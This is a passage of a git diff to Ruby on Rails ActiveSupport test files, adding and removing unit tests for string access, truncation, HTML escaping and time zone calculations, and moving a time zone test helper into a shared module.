+    assert_not_equal s1, s2
+    assert_equal 24, s1.length
+  end
+end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 2537af0394..24037c665a 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'date'
 require 'abstract_unit'
 require 'inflector_test_cases'
@@ -10,17 +9,12 @@ require 'active_support/time'
 require 'active_support/core_ext/string/strip'
 require 'active_support/core_ext/string/output_safety'
 require 'active_support/core_ext/string/indent'
-
-module Ace
-  module Base
-    class Case
-    end
-  end
-end
+require 'time_zone_test_helpers'
 
 class StringInflectionsTest < ActiveSupport::TestCase
   include InflectorTestCases
   include ConstantizeTestCases
+  include TimeZoneTestHelpers
 
   def test_strip_heredoc_on_an_empty_string
     assert_equal '', ''.strip_heredoc
@@ -65,6 +59,11 @@ class StringInflectionsTest < ActiveSupport::TestCase
     assert_equal("blargles", "blargle".pluralize(2))
   end
 
+  test 'pluralize with count = 1 still returns new string' do
+    name = "Kuldeep"
+    assert_not_same name.pluralize(1), name
+  end
+
   def test_singularize
     SingularToPlural.each do |singular, plural|
       assert_equal(singular, plural.singularize)
@@ -162,59 +161,19 @@ class StringInflectionsTest < ActiveSupport::TestCase
     end
   end
 
-  def test_ord
-    assert_equal 97, 'a'.ord
-    assert_equal 97, 'abc'.ord
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, underscore.humanize(capitalize: false))
+    end
   end
 
-  def test_access
-    s = "hello"
-    assert_equal "h", s.at(0)
-
-    assert_equal "llo", s.from(2)
-    assert_equal "hel", s.to(2)
-
-    assert_equal "h", s.first
-    assert_equal "he", s.first(2)
-    assert_equal "", s.first(0)
-
-    assert_equal "o", s.last
-    assert_equal "llo", s.last(3)
-    assert_equal "hello", s.last(10)
-    assert_equal "", s.last(0)
-
-    assert_equal 'x', 'x'.first
-    assert_equal 'x', 'x'.first(4)
-
-    assert_equal 'x', 'x'.last
-    assert_equal 'x', 'x'.last(4)
+  def test_humanize_with_html_escape
+    assert_equal 'Hello', ERB::Util.html_escape("hello").humanize
   end
 
-  def test_access_returns_a_real_string
-    hash = {}
-    hash["h"] = true
-    hash["hello123".at(0)] = true
-    assert_equal %w(h), hash.keys
-
-    hash = {}
-    hash["llo"] = true
-    hash["hello".from(2)] = true
-    assert_equal %w(llo), hash.keys
-
-    hash = {}
-    hash["hel"] = true
-    hash["hello".to(2)] = true
-    assert_equal %w(hel), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["123hello".last(5)] = true
-    assert_equal %w(hello), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["hello123".first(5)] = true
-    assert_equal %w(hello), hash.keys
+  def test_ord
+    assert_equal 97, 'a'.ord
+    assert_equal 97, 'abc'.ord
   end
 
   def test_starts_ends_with_alias
@@ -229,21 +188,21 @@ class StringInflectionsTest < ActiveSupport::TestCase
   end
 
   def test_string_squish
-    original = %{\u180E\u180E A string surrounded by unicode mongolian vowel separators,
-      with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces(  ). \u180E\u180E}
+    original = %{\u205f\u3000 A string surrounded by various unicode spaces,
+      with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces(  ). \u00a0\u2007}
 
-    expected = "A string surrounded by unicode mongolian vowel separators, " +
+    expected = "A string surrounded by various unicode spaces, " +
       "with tabs( ), newlines( ), unicode nextlines( ) and many spaces( )."
 
     # Make sure squish returns what we expect:
-    assert_equal original.squish,  expected
+    assert_equal expected, original.squish
     # But doesn't modify the original string:
-    assert_not_equal original, expected
+    assert_not_equal expected, original
 
     # Make sure squish! returns what we expect:
-    assert_equal original.squish!, expected
+    assert_equal expected, original.squish!
     # And changes the original string:
-    assert_equal original, expected
+    assert_equal expected, original
   end
 
   def test_string_inquiry
@@ -256,19 +215,40 @@ class StringInflectionsTest < ActiveSupport::TestCase
     assert_equal "Hello Wor...", "Hello World!!".truncate(12)
   end
 
-  def test_truncate_with_omission_and_seperator
+  def test_truncate_with_omission_and_separator
     assert_equal "Hello[...]", "Hello World!".truncate(10, :omission => "[...]")
     assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => ' ')
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => ' ')
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => ' ')
   end
 
-  def test_truncate_with_omission_and_regexp_seperator
+  def test_truncate_with_omission_and_regexp_separator
     assert_equal "Hello[...]", "Hello Big World!".truncate(13, :omission => "[...]", :separator => /\s/)
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, :omission => "[...]", :separator => /\s/)
     assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, :omission => "[...]", :separator => /\s/)
   end
 
+  def test_truncate_words
+    assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3)
+    assert_equal "Hello Big...", "Hello Big World!".truncate_words(2)
+  end
+
+  def test_truncate_words_with_omission
+    assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3, :omission => "[...]")
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate_words(2, :omission => "[...]")
+  end
+
+  def test_truncate_words_with_separator
+    assert_equal "Hello<br>Big<br>World!...", "Hello<br>Big<br>World!<br>".truncate_words(3, :separator => '<br>')
+    assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, :separator => '<br>')
+    assert_equal "Hello\n<br>Big...", "Hello\n<br>Big<br>Wide<br>World!".truncate_words(2, :separator => '<br>')
+  end
+
+  def test_truncate_words_with_separator_and_omission
+    assert_equal "Hello<br>Big<br>World![...]", "Hello<br>Big<br>World!<br>".truncate_words(3, :omission => "[...]", :separator => '<br>')
+    assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, :omission => "[...]", :separator => '<br>')
+  end
+
   def test_truncate_multibyte
     assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
       "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8).truncate(10)
@@ -277,26 +257,139 @@ class StringInflectionsTest < ActiveSupport::TestCase
   def test_truncate_should_not_be_html_safe
     assert !"Hello World!".truncate(12).html_safe?
   end
-  
+
   def test_remove
-    assert_equal "Summer", "Fast Summer".remove(/Fast /)
-    assert_equal "Summer", "Fast Summer".remove!(/Fast /)
+    original = "This is a good day to die"
+    assert_equal "This is a good day", original.remove(" to die")
+    assert_equal "This is a good day", original.remove(" to ", /die/)
+    assert_equal "This is a good day to die", original
+  end
+
+  def test_remove_for_multiple_occurrences
+    original = "This is a good day to die to die"
+    assert_equal "This is a good day", original.remove(" to die")
+    assert_equal "This is a good day to die to die", original
+  end
+
+  def test_remove!
+    original = "This is a very good day to die"
+    assert_equal "This is a good day to die", original.remove!(" very")
+    assert_equal "This is a good day to die", original
+    assert_equal "This is a good day", original.remove!(" to ", /die/)
+    assert_equal "This is a good day", original
   end
 
   def test_constantize
-    run_constantize_tests_on do |string|
-      string.constantize
-    end
+    run_constantize_tests_on(&:constantize)
   end
 
   def test_safe_constantize
-    run_safe_constantize_tests_on do |string|
-      string.safe_constantize
-    end
+    run_safe_constantize_tests_on(&:safe_constantize)
+  end
+end
+
+class StringAccessTest < ActiveSupport::TestCase
+  test "#at with Fixnum, returns a substring of one character at that position" do
+    assert_equal "h", "hello".at(0)
+  end
+
+  test "#at with Range, returns a substring containing characters at offsets" do
+    assert_equal "lo", "hello".at(-2..-1)
+  end
+
+  test "#at with Regex, returns the matching portion of the string" do
+    assert_equal "lo", "hello".at(/lo/)
+    assert_equal nil, "hello".at(/nonexisting/)
+  end
+
+  test "#from with positive Fixnum, returns substring from the given position to the end" do
+    assert_equal "llo", "hello".from(2)
+  end
+
+  test "#from with negative Fixnum, position is counted from the end" do
+    assert_equal "lo", "hello".from(-2)
+  end
+
+  test "#to with positive Fixnum, substring from the beginning to the given position" do
+    assert_equal "hel", "hello".to(2)
+  end
+
+  test "#to with negative Fixnum, position is counted from the end" do
+    assert_equal "hell", "hello".to(-2)
+  end
+
+  test "#from and #to can be combined" do
+    assert_equal "hello", "hello".from(0).to(-1)
+    assert_equal "ell", "hello".from(1).to(-2)
+  end
+
+  test "#first returns the first character" do
+    assert_equal "h", "hello".first
+    assert_equal 'x', 'x'.first
+  end
+
+  test "#first with Fixnum, returns a substring from the beginning to position" do
+    assert_equal "he", "hello".first(2)
+    assert_equal "", "hello".first(0)
+    assert_equal "hello", "hello".first(10)
+    assert_equal 'x', 'x'.first(4)
+  end
+
+  test "#first with Fixnum >= string length still returns a new string" do
+    string = "hello"
+    different_string = string.first(5)
+    assert_not_same different_string, string
+  end
+
+  test "#last returns the last character" do
+    assert_equal "o", "hello".last
+    assert_equal 'x', 'x'.last
+  end
+
+  test "#last with Fixnum, returns a substring from the end to position" do
+    assert_equal "llo", "hello".last(3)
+    assert_equal "hello", "hello".last(10)
+    assert_equal "", "hello".last(0)
+    assert_equal 'x', 'x'.last(4)
+  end
+
+  test "#last with Fixnum >= string length still returns a new string" do
+    string = "hello"
+    different_string = string.last(5)
+    assert_not_same different_string, string
+  end
+
+  test "access returns a real string" do
+    hash = {}
+    hash["h"] = true
+    hash["hello123".at(0)] = true
+    assert_equal %w(h), hash.keys
+
+    hash = {}
+    hash["llo"] = true
+    hash["hello".from(2)] = true
+    assert_equal %w(llo), hash.keys
+
+    hash = {}
+    hash["hel"] = true
+    hash["hello".to(2)] = true
+    assert_equal %w(hel), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["123hello".last(5)] = true
+    assert_equal %w(hello), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["hello123".first(5)] = true
+    assert_equal %w(hello), hash.keys
   end
 end
 
 class StringConversionsTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def test_string_to_time
     with_env_tz "Europe/Moscow" do
       assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:utc)
@@ -322,11 +415,11 @@ class StringConversionsTest < ActiveSupport::TestCase
   end
 
   def test_partial_string_to_time
-    with_env_tz "Europe/Moscow" do
+    with_env_tz "Europe/Moscow" do # use timezone which does not observe DST.
       now = Time.now
       assert_equal Time.local(now.year, now.month, now.day, 23, 50), "23:50".to_time
       assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "23:50".to_time(:utc)
-      assert_equal Time.local(now.year, now.month, now.day, 18, 50), "13:50 -0100".to_time
+      assert_equal Time.local(now.year, now.month, now.day, 17, 50), "13:50 -0100".to_time
       assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "22:50 -0100".to_time(:utc)
     end
   end
@@ -466,14 +559,6 @@ class StringConversionsTest < ActiveSupport::TestCase
     assert_nil "".to_date
     assert_equal Date.new(Date.today.year, 2, 3), "Feb 3rd".to_date
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
 
 class StringBehaviourTest < ActiveSupport::TestCase
@@ -568,6 +653,19 @@ class OutputSafetyTest < ActiveSupport::TestCase
     assert !@other_combination.html_safe?
   end
 
+  test "Prepending safe onto unsafe yields unsafe" do
+    @string.prepend "other".html_safe
+    assert !@string.html_safe?
+    assert_equal @string, "otherhello"
+  end
+
+  test "Prepending unsafe onto safe yields escaped safe" do
+    other = "other".html_safe
+    other.prepend "<foo>"
+    assert other.html_safe?
+    assert_equal other, "&lt;foo&gt;other"
+  end
+
   test "Concatting safe onto unsafe yields unsafe" do
     @other_string = "other"
 
@@ -678,6 +776,14 @@ class OutputSafetyTest < ActiveSupport::TestCase
     string = "<b>hello</b>".html_safe
     assert_equal string, ERB::Util.html_escape(string)
   end
+
+  test "ERB::Util.html_escape_once only escapes once" do
+    string = '1 < 2 &amp; 3'
+    escaped_string = "1 &lt; 2 &amp; 3"
+
+    assert_equal escaped_string, ERB::Util.html_escape_once(string)
+    assert_equal escaped_string, ERB::Util.html_escape_once(escaped_string)
+  end
 end
 
 class StringExcludeTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/struct_test.rb b/activesupport/test/core_ext/struct_test.rb
deleted file mode 100644
index 0dff7b32d2..0000000000
--- a/activesupport/test/core_ext/struct_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/struct'
-
-class StructExt < ActiveSupport::TestCase
-  def test_to_h
-    x = Struct.new(:foo, :bar)
-    z = x.new(1, 2)
-    assert_equal({ foo: 1, bar: 2 }, z.to_h)
-  end
-end
diff --git a/activesupport/test/core_ext/thread_test.rb b/activesupport/test/core_ext/thread_test.rb
deleted file mode 100644
index 54d2dcd8dd..0000000000
--- a/activesupport/test/core_ext/thread_test.rb
+++ /dev/null
@@ -1,88 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/thread'
-
-class ThreadExt < ActiveSupport::TestCase
-  def test_main_thread_variable_in_enumerator
-    assert_equal Thread.main, Thread.current
-
-    Thread.current.thread_variable_set :foo, "bar"
-
-    thread, value = Fiber.new {
-      Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
-    }.resume
-
-    assert_equal Thread.current, thread
-    assert_equal Thread.current.thread_variable_get(:foo), value
-  end
-
-  def test_thread_variable_in_enumerator
-    Thread.new {
-      Thread.current.thread_variable_set :foo, "bar"
-
-      thread, value = Fiber.new {
-        Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
-      }.resume
-
-      assert_equal Thread.current, thread
-      assert_equal Thread.current.thread_variable_get(:foo), value
-    }.join
-  end
-
-  def test_thread_variables
-    assert_equal [], Thread.new { Thread.current.thread_variables }.join.value
-
-    t = Thread.new {
-      Thread.current.thread_variable_set(:foo, "bar")
-      Thread.current.thread_variables
-    }
-    assert_equal [:foo], t.join.value
-  end
-
-  def test_thread_variable?
-    assert_not Thread.new { Thread.current.thread_variable?("foo") }.join.value
-    t = Thread.new {
-      Thread.current.thread_variable_set("foo", "bar")
-    }.join
-
-    assert t.thread_variable?("foo")
-    assert t.thread_variable?(:foo)
-    assert_not t.thread_variable?(:bar)
-  end
-
-  def test_thread_variable_strings_and_symbols_are_the_same_key
-    t = Thread.new {}.join
-    t.thread_variable_set("foo", "bar")
-    assert_equal "bar", t.thread_variable_get(:foo)
-  end
-
-  def test_thread_variable_frozen
-    t = Thread.new { }.join
-    t.freeze
-    assert_raises(RuntimeError) do
-      t.thread_variable_set(:foo, "bar")
-    end
-  end
-
-  def test_thread_variable_frozen_after_set
-    t = Thread.new { }.join
-    t.thread_variable_set :foo, "bar"
-    t.freeze
-    assert_raises(RuntimeError) do
-      t.thread_variable_set(:baz, "qux")
-    end
-  end
-
-  def test_thread_variable_security
-    rubinius_skip "$SAFE is not supported on Rubinius."
-
-    t = Thread.new { sleep }
-
-    assert_raises(SecurityError) do
-      Thread.new { $SAFE = 4; t.thread_variable_get(:foo) }.join
-    end
-
-    assert_raises(SecurityError) do
-      Thread.new { $SAFE = 4; t.thread_variable_set(:foo, :baz) }.join
-    end
-  end
-end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index 41a1df084e..d59775001b 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -1,6 +1,7 @@
 require 'abstract_unit'
 require 'active_support/time'
 require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
 
 class TimeExtCalculationsTest < ActiveSupport::TestCase
   def date_time_init(year,month,day,hour,minute,second,usec=0)
@@ -8,6 +9,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
   end
 
   include DateAndTimeBehavior
+  include TimeZoneTestHelpers
 
   def test_seconds_since_midnight
     assert_equal 1,Time.local(2005,1,1,0,0,1).seconds_since_midnight
@@ -385,6 +387,8 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.local(2005,1,2,11, 6, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:min  => 6)
     assert_equal Time.local(2005,1,2,11,22, 7, 0), Time.local(2005,1,2,11,22,33,44).change(:sec  => 7)
     assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,44).change(:usec => 8)
+    assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,2).change(:nsec => 8000)
+    assert_raise(ArgumentError) { Time.local(2005,1,2,11,22,33, 8).change(:usec => 1, :nsec => 1) }
   end
 
   def test_utc_change
@@ -394,6 +398,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.utc(2005,2,22,16),       Time.utc(2005,2,22,15,15,10).change(:hour => 16)
     assert_equal Time.utc(2005,2,22,16,45),    Time.utc(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
     assert_equal Time.utc(2005,2,22,15,45),    Time.utc(2005,2,22,15,15,10).change(:min => 45)
+    assert_equal Time.utc(2005,1,2,11,22,33,8), Time.utc(2005,1,2,11,22,33,2).change(:nsec => 8000)
   end
 
   def test_offset_change
@@ -403,6 +408,11 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.new(2005,2,22,16,0,0,"-08:00"),   Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16)
     assert_equal Time.new(2005,2,22,16,45,0,"-08:00"),  Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16, :min => 45)
     assert_equal Time.new(2005,2,22,15,45,0,"-08:00"),  Time.new(2005,2,22,15,15,10,"-08:00").change(:min => 45)
+    assert_equal Time.new(2005,2,22,15,15,10,"-08:00"),  Time.new(2005,2,22,15,15,0,"-08:00").change(:sec => 10)
+    assert_equal 10, Time.new(2005,2,22,15,15,0,"-08:00").change(:usec => 10).usec
+    assert_equal 10, Time.new(2005,2,22,15,15,0,"-08:00").change(:nsec => 10).nsec
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(:usec => 1000000) }
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(:nsec => 1000000000) }
   end
 
   def test_advance
@@ -476,6 +486,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal t, t.advance(:months => 0)
   end
 
+  def test_advance_gregorian_proleptic
+    assert_equal Time.local(1582,10,14,15,15,10), Time.local(1582,10,15,15,15,10).advance(:days => -1)
+    assert_equal Time.local(1582,10,15,15,15,10), Time.local(1582,10,14,15,15,10).advance(:days => 1)
+    assert_equal Time.local(1582,10,5,15,15,10), Time.local(1582,10,4,15,15,10).advance(:days => 1)
+    assert_equal Time.local(1582,10,4,15,15,10), Time.local(1582,10,5,15,15,10).advance(:days => -1)
+  end
+
   def test_last_week
     with_env_tz 'US/Eastern' do
       assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
@@ -840,15 +857,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
   def test_all_year
     assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_year
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
-
 end
 
 class TimeExtMarshalingTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index 5494824a40..92c233d567 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -1,8 +1,9 @@
 require 'abstract_unit'
 require 'active_support/time'
-require 'active_support/json'
+require 'time_zone_test_helpers'
 
 class TimeWithZoneTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
 
   def setup
     @utc = Time.utc(2000, 1, 1, 0)
@@ -66,25 +67,6 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
   end
 
-  def test_to_json_with_use_standard_json_time_format_config_set_to_false
-    old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, false
-    assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
-  ensure
-    ActiveSupport.use_standard_json_time_format = old
-  end
-
-  def test_to_json_with_use_standard_json_time_format_config_set_to_true
-    old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
-    assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(@twz)
-  ensure
-    ActiveSupport.use_standard_json_time_format = old
-  end
-
-  def test_to_json_when_wrapping_a_date_time
-    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
-    assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(twz)
-  end
-
   def test_nsec
     local     = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
     with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
@@ -97,6 +79,11 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
   end
 
+  def test_strftime_with_escaping
+    assert_equal '%Z %z', @twz.strftime('%%Z %%z')
+    assert_equal '%EST %-0500', @twz.strftime('%%%Z %%%z')
+  end
+
   def test_inspect
     assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
   end
@@ -131,6 +118,10 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12)
   end
 
+  def test_xmlschema_with_nil_fractional_seconds
+    assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
+  end
+
   def test_to_yaml
     assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml)
   end
@@ -262,16 +253,31 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 1)
   end
 
+  def test_minus_with_time_precision
+    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+  end
+
   def test_minus_with_time_with_zone
     twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
     twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
     assert_equal  86_400.0,  twz2 - twz1
   end
 
+  def test_minus_with_time_with_zone_precision
+    twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0, Rational(1, 1000)), ActiveSupport::TimeZone['UTC'] )
+    twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] )
+    assert_equal  86_399.999999998,  twz2 - twz1
+  end
+
   def test_minus_with_datetime
     assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
   end
 
+  def test_minus_with_datetime_precision
+    assert_equal  86_399.999999999,  ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+  end
+
   def test_minus_with_wrapped_datetime
     assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
     assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
@@ -366,6 +372,7 @@ class TimeWithZoneTest < ActiveSupport::TestCase
   end
 
   def test_acts_like_time
+    assert @twz.acts_like_time?
     assert @twz.acts_like?(:time)
     assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
   end
@@ -511,6 +518,16 @@ class TimeWithZoneTest < ActiveSupport::TestCase
     assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
   end
 
+  def test_change_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+    assert_equal twz, twz.change(:min => 0)
+  end
+
+  def test_round_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+    assert_equal twz, twz.round
+  end
+
   def test_advance
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
@@ -795,29 +812,25 @@ class TimeWithZoneTest < ActiveSupport::TestCase
   end
 
   def test_no_method_error_has_proper_context
+    rubinius_skip "Error message inconsistency"
+
     e = assert_raises(NoMethodError) {
       @twz.this_method_does_not_exist
     }
     assert_equal "undefined method `this_method_does_not_exist' for Fri, 31 Dec 1999 19:00:00 EST -05:00:Time", e.message
     assert_no_match "rescue", e.backtrace.first
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
 
 class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def setup
-    @t, @dt = Time.utc(2000), DateTime.civil(2000)
+    @t, @dt, @zone = Time.utc(2000), DateTime.civil(2000), Time.zone
   end
 
   def teardown
-    Time.zone = nil
+    Time.zone = @zone
   end
 
   def test_in_time_zone
@@ -873,8 +886,6 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
   def test_localtime
     Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
     assert_equal @dt.in_time_zone.localtime, @dt.in_time_zone.utc.to_time.getlocal
-  ensure
-    Time.zone = nil
   end
 
   def test_use_zone
@@ -913,6 +924,7 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
   end
 
   def test_time_zone_getter_and_setter_with_zone_default_set
+    old_zone_default = Time.zone_default
     Time.zone_default = ActiveSupport::TimeZone['Alaska']
     assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
     Time.zone = ActiveSupport::TimeZone['Hawaii']
@@ -920,8 +932,7 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
     Time.zone = nil
     assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
   ensure
-    Time.zone = nil
-    Time.zone_default = nil
+    Time.zone_default = old_zone_default
   end
 
   def test_time_zone_setter_is_thread_safe
@@ -993,8 +1004,6 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
       assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
       assert_equal Time.utc(2000), Time.current.time
     end
-  ensure
-    Time.zone = nil
   end
 
   def test_time_in_time_zone_doesnt_affect_receiver
@@ -1005,25 +1014,15 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
       assert_not time.utc?, 'time expected to be local, but is UTC'
     end
   end
-
-  protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
-    end
 end
 
 class TimeWithZoneMethodsForDate < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def setup
     @d = Date.civil(2000)
   end
 
-  def teardown
-    Time.zone = nil
-  end
-
   def test_in_time_zone
     with_tz_default 'Alaska' do
       assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone.inspect
@@ -1056,28 +1055,17 @@ class TimeWithZoneMethodsForDate < ActiveSupport::TestCase
     assert_raise(ArgumentError) { @d.in_time_zone(-15.hours) }
     assert_raise(ArgumentError) { @d.in_time_zone(Object.new) }
   end
-
-  protected
-    def with_tz_default(tz = nil)
-      old_tz = Time.zone
-      Time.zone = tz
-      yield
-    ensure
-      Time.zone = old_tz
-    end
 end
 
 class TimeWithZoneMethodsForString < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   def setup
